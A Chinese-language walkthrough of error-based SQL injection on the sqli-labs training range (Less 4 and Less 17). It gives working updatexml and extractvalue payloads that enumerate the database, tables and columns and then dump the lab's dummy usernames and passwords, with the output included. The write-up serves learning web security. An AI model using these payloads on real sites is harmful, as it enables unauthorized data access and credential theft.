报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法。攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容。这种攻击方法依赖于数据库将详细的错误消息返回给客户端,测试时可以发现网页会回显sql相关的报错信息。
以sqli-labs靶场的less 4和less 17为例:
/?id=1正常回显
/?id=1"正常回显
/?id=1"发现错误回显
说明是双引号闭合字符型回显,而且显示出数据库的报错信息,适合使用报错注入
判断报错条件:
?id=1") and updatexml(1,0x7e,3) -- a
(这里的-- a是为了注释掉后面的内容,注意a的前面还有个空格)
页面正常显示报错信息,确定报错函数可以使用
获取数据库名:
?id=1") and updatexml(1,concat('~',database(),'~'),1) -- a
爆出数据库名是security
获取数据库security的表名:
?id=1") and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),'~'),1) -- a
爆出emails,referers,uagents,users表名
获取users表的列名:
?id=1") and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),'~'),1) -- a
爆出id,username,password列
获取users表中各用户的信息:
?id=1") and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) -- a
后面只需要不断的修改?id=1") and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) -- a中的标记数字就可以了
接下来就轮到less 17了:
输入admin和1或者admin和1"都正常回显:
注意到url发生变化
?update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
判断用户名是否存在,存在的话就重置$passwd的值,也能看出是单引号闭合字符型,但还是输入admin和1'来验证一下:
正常报错回显,说明可以用报错注入,注入点在passwd处
获取数据库名:
用burp抓包:(admin和admin)
admin' and updatexml(1,concat('~',database(),'~'),1) -- a
admin' and updatexml(1,concat('~',database(),'~'),1) #
admin' and extractvalue(1,concat('~',database(),'~')) #
admin' and extractvalue(1,concat('~',database(),'~')) --a
上面四个任选一个都行,就选第三个吧,但后面实验不知道为什么#失败了
爆出数据库名是security
获取security数据库的表名:
admin' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),'~')) #
爆出emails,referers,uagents,users表
获取users表的列名:
admin' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),'~')) #
爆出id,username,password列
获取users表中各用户的信息:
(注意:这里不知道为什么只能输入第一、四句,第二、三句不行)
第一句:(只能一个个求id和username和password了)
admin' and extractvalue(1,concat('~',(select * from (select id from users limit 1,1) as a),'~')) #
第二句:
admin' and extractvalue(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~')) #
第三句:
admin' and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) #
第四句:
admin' and updatexml(1,concat('~',(select * from (select id from users limit 1,1) as a),'~'),1) #
后续爆破出来的结果如下:
1:Dumb:Dumb
2:Angelina:I-kill-you
3:Dummy:p@ssword
4:secure:crappy
5:stupid:stupidity
6:superman:genious
7:batman:mob!le
8:admin:admin
9:admin1:admin1
10:admin2:admin2
11:admin3:admin3
12:dhakkan:dumbo
14:admin4:admin4